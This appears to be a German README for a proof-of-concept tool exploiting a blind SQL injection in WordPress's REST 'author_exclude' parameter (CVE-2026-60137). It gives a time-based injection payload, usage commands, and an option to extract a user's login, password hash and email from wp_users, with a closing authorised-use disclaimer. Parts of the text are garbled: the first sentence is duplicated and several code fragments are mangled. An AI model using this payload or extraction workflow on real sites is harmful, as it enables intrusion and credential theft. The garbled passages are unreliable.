
Nicht-destruktiver Proof-of-Concept- und Verifizierungsrahmen für CVE-2026-60137, eine blinde SQL-Injection im WordPress-Kern (`WP_Query::author__not_in`), erreichbar über den `author_exclude`-Parameter der REST-API.
Nicht-destruktiver Proof-of-Concept und Verifizierungs-Harness für CVE-2026-60137, eine blinde SQL-Injection im WordPress-Core (WP_Query::author__not_in), erreichbar über den Parameter author_exclude der REST-API.
WP_Query::get_posts() baut SQL auf, indem es die Query-Variable author__not_in per String-Konkatenation in Folgendes einfügt:
... AND {wpdb->posts}.post_author NOT IN ( <value> )
Der Wert wird nur dann bereinigt (pro Element absint), wenn er als Array ankommt. Wenn ein skalarer String übermittelt wird – der REST-Parameter author_exclude wird intern auf abgebildet – wird der -Sanitierungs-Guard übersprungen und der rohe String landet in der -Klausel, was zu einer SQL-Injection führt ().
author__not_inis_array()NOT IN (...)Ein Payload der Form 1) OR SLEEP(6)# erzeugt:
post_author NOT IN ( 1) OR SLEEP(6)# )
was als post_author NOT IN (1) OR SLEEP(6) geparst wird (das abschließende ) wird vom #-Kommentar konsumiert) – ein sauberes, zeitbasiertes Blind-Oracle ohne Datenbankschreibzugriffe.
| Betroffen | 6.8.0 – 6.8.5, 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 |
| Behoben | 6.8.6, 6.9.5, 7.0.2 (2026-07-17) |
| CVSS 3.1 | AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N → 5.9 (eigenständiger Sink) |
| Kombiniert | mit CVE-2026-63030 (REST-Batch-Routen-Verwechslung) → 9.8 Pre-Auth-RCE auf 6.9.0 – 7.0.1 |
/wp-json/batch/v1.author_exclude (HTTP 400) auf der Standard-Posts-Route ab. Daher ist der Sink normalerweise nur erreichbar, wenn ein Plugin/Theme unvertrauenswürdige Eingaben weiterreicht, oder über eine authentifizierte Sitzung (--cookie) über die Batch-Route.cve_2026_60137_poc.py ist gegenüber der Datenbank schreibgeschützt:
readme.html, /wp-json/-Index), um zu prüfen, ob die Version in einem betroffenen Bereich liegt.SLEEP(0)-Parse-Kontrolle vs. ein SLEEP(n)-Payload, über mehrere Zustellvektoren (direkte REST-Routen, ?rest_route= und den Batch-Endpunkt), und meldet ein Ergebnis pro Vektor.wp_users-Zeile (user_login, user_pass, user_email) per Blind-Binary-Search-Timing, streng unter Verwendung von SELECT/SLEEP — es schreibt nie in die Datenbank.# Nur Fingerprint, keine Payloads senden
python3 cve_2026_60137_poc.py --url https://target --safe
# Die Erkennungsmatrix ausführen
python3 cve_2026_60137_poc.py --url https://target --sleep 6 --samples 3
# Authentifizierte Sitzung + wp_users Zeile 1 extrahieren
python3 cve_2026_60137_poc.py --url https://target \
--cookie 'wordpress_logged_in_XXX=YYY' --extract --user-id 1
# Über Burp routen, TLS-Verifizierung überspringen, maschinenlesbare Beweise speichern
python3 cve_2026_60137_poc.py --url https://target \
--proxy http://127.0.0.1:8080 --no-verify-tls --json-out evidence.json
| Flag | Standard | Beschreibung |
|---|---|---|
--url | erforderlich | Basis-URL des Ziels |
--safe | aus | Nur Fingerprint; keine Payloads senden |
--sleep | 6 | SLEEP()-Sekunden, die vom Erkennungs-Oracle verwendet werden |
--samples | 3 | Zeitmessproben pro Messung (Median wird verwendet) |
--threshold | 0.7 | Anteil von --sleep, der als positive Abweichung gewertet wird |
--extract | aus | Eine wp_users-Zeile über das Blind-Oracle extrahieren |
--user-id | 1 | Zu extrahierende wp_users.ID |
--extract-sleep | 2.0 | SLEEP()-Sekunden pro Extraktionsprobe |
--limit | 64 | Maximale Zeichen pro extrahiertem Feld |
--only-vector | — | Nur Vektoren testen, deren Name diese Zeichenkette enthält |
--cookie | — | Authentifiziertes Cookie für auth-geschützte Vektoren |
--proxy | — | HTTP(S)-Proxy, z. B. http://127.0.0.1:8080 (Burp) |
--timeout | 30 | Request-Timeout in Sekunden |
--no-verify-tls | aus | TLS-Zertifikatsprüfung deaktivieren |
--json-out | — | Maschinenlesbare Beweisdaten in eine JSON-Datei schreiben |
Dieses Tool wird ausschließlich für autorisierte Sicherheitstests bereitgestellt — Penetrationstests, CTFs und Forschung an Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zur Prüfung haben. Der Einsatz gegen Systeme ohne Autorisierung ist illegal. Der Autor übernimmt keine Haftung für Missbrauch.
Jede mit --json-out geschriebene Ausgabe kann die getestete URL, den Versions-Fingerabdruck und Timing-Beweise enthalten — behandeln Sie sie als vertrauliche Auftragsdaten.